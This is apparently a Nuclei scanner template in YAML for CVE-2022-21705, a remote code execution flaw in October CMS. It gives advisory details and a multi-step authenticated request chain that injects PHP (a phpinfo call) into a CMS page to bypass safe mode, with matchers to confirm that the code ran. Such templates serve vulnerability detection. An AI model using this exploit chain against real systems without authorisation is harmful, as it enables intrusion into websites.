110 lines
4.5 KiB
YAML
110 lines
4.5 KiB
YAML
id: CVE-2022-21705
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info:
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name: October CMS - Remote Code Execution
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author: iPhantasmic
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severity: high
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description: |
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October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions.
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remediation: |
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The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation.
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reference:
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- https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe
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- https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22
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- https://cyllective.com/blog/post/octobercms-cve-2022-21705/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-21705
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2022-21705
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cwe-id: CWE-74
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tags: cve,cve2022,authenticated,rce,cms,octobercms,injection
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requests:
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- raw:
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- | # to obtain session_key and token
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GET /backend/backend/auth/signin HTTP/1.1
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Host: {{Hostname}}
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- | # to perform authentication and obtain admin cookies
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POST /backend/backend/auth/signin HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}
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- | # to inject php code in Markup editor and perform exploit
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POST /backend/cms HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-OCTOBER-REQUEST-HANDLER: onSave
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X-OCTOBER-REQUEST-PARTIALS:
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X-Requested-With: XMLHttpRequest
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_session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0
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- | # to obtain theme
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POST /backend/cms HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-OCTOBER-REQUEST-HANDLER: onCreateTemplate
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X-OCTOBER-REQUEST-PARTIALS:
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X-Requested-With: XMLHttpRequest
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_session_key={{session_key}}&_token={{token}}&search=&type=page
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- | # to access the template page for generated exploit
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POST /backend/cms HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
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X-OCTOBER-REQUEST-PARTIALS:
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X-Requested-With: XMLHttpRequest
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_session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm
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cookie-reuse: true
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extractors:
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- type: xpath
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name: session_key
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attribute: value
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xpath:
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- "/html/body/div[1]/div/div[2]/div/div/form/input[1]"
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internal: true
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# Obtain _session_key for current OctoberCMS session
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- type: xpath
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name: token
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attribute: value
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xpath:
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- "/html/body/div[1]/div/div[2]/div/div/form/input[2]"
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internal: true
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# Obtain _token for current OctoberCMS session
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- type: regex
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name: theme
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part: body
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group: 1
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regex:
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- '<input\stype=\\"hidden\\"\svalue=\\"demo\\"\sname=\\"([^"]*)\\"'
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internal: true
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# Obtain current theme used for Markup editor of OctoberCMS
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'function onInit()'
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- 'phpinfo()'
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- 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.'
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condition: and
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# if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/10/06
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